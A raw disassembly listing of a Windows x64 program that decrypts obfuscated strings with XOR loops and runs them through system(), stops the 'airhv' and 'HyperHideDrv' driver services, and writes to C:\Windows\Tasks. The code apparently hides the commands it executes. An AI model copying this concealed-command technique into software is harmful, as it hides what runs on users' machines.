call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x78], 0
lea rdx, [rbp + 0x228]
lea rcx, [rsp + 0x78]
call fcn.140015f60
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14000dcc0
mov r8d, ebx
cmp r12d, 2
jl 0x14000dc83
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000dc90
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x79], 0
lea rdx, [rbp + 0x248]
lea rcx, [rsp + 0x79]
call fcn.140015f90
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14000de90
cmp r12d, 2
jl 0x14000de4d
movdqa xmm5, xmmword [0x1400902e0]
mov edx, ebx
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov r8d, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14000dd50
jmp 0x14000de90
mov r9, r10
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14000de60
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x7a], 0
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x7a]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000df90
cmp r12d, 2
jl 0x14000df50
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000df90
mov r9, rcx
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000df60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x7b], 0
lea rdx, [rbp + 0x268]
lea rcx, [rsp + 0x7b]
call fcn.140015fa0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14000e140
mov r8d, ebx
cmp r12d, 2
jl 0x14000e103
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000e000
cmp r8d, 0x11
jge 0x14000e140
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14000e110
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x7c], 0
lea rdx, [rbp + 0x64]
lea rcx, [rsp + 0x7c]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000e240
cmp r12d, 2
jl 0x14000e200
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000e240
mov r9, rcx
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000e210
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x7d], 0
lea rdx, [rbp + 0x2c8]
lea rcx, [rsp + 0x7d]
call fcn.140015fc0
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14000e3f0
mov r8d, ebx
cmp r12d, 2
jl 0x14000e3b3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000e2b0
cmp r8d, 0x12
jge 0x14000e3f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14000e3c0
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x7e], 0
lea rdx, [rbp + 0x358]
lea rcx, [rsp + 0x7e]
call fcn.140015fe0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14000e5c0
mov r8d, ebx
cmp r12d, 2
jl 0x14000e583
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000e480
cmp r8d, 0x13
jge 0x14000e5c0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000e590
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x7f], 0
lea rdx, [rbp + 0x68]
lea rcx, [rsp + 0x7f]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000e6c0
cmp r12d, 2
jl 0x14000e680
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14000e6c0
mov r9, rcx
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000e690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x80], 0
lea rdx, [rbp + 0xa8]
lea rcx, [rbp - 0x80]
call fcn.140016010
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14000e830
cmp r12d, 2
jl 0x14000e7ec
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x14000e830
mov r9, rcx
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000e800
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x7f], 0
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp - 0x7f]
call fcn.140016020
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x14000e9e0
mov r8d, ebx
cmp r12d, 2
jl 0x14000e9a3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000e8a0
cmp r8d, 0x16
jge 0x14000e9e0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14000e9b0
mov rcx, r10
call fcn.1400011a0
lea rdx, [rbp + 0x23b8]
mov rcx, qword [0x140080558]
call fcn.140018290
mov edx, 0x108
lea rcx, [rbp + 0x4780]
call fcn.140016920
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.C:WindowsTaskso.txt
lea rcx, [rbp + 0x4780]
call fcn.140017630
nop
lea rdx, [rbp + 0x23b8]
lea rcx, [rbp + 0x4780]
call fcn.140018480
lea rcx, [rbp + 0x4780]
call fcn.1400175f0
lea rdx, [rbp + 0x23b8]
lea rcx, [rbp + 0x760]
call fcn.140017a90
mov rdx, rax
lea rcx, [rbp + 0x4cd0]
call fcn.140027590
cmp byte [rbp + 0x4ee8], 0
jne 0x14000ea89
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000ea96
lea rcx, str.sc_stop_airhv
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HyperHideDrv
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x7e], 0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x7e]
call fcn.140016050
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14000ec10
cmp r12d, 2
jl 0x14000ebd6
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x14000ec10
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000ebe0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x7d], 0
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x7d]
call fcn.140016060
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000ec5f
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rcx, rax
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x7c], 0
lea rdx, [rbp + 0x138]
lea rcx, [rbp - 0x7c]
call fcn.140016090
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14000edf0
mov r8d, ebx
cmp r12d, 2
jl 0x14000edb0
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
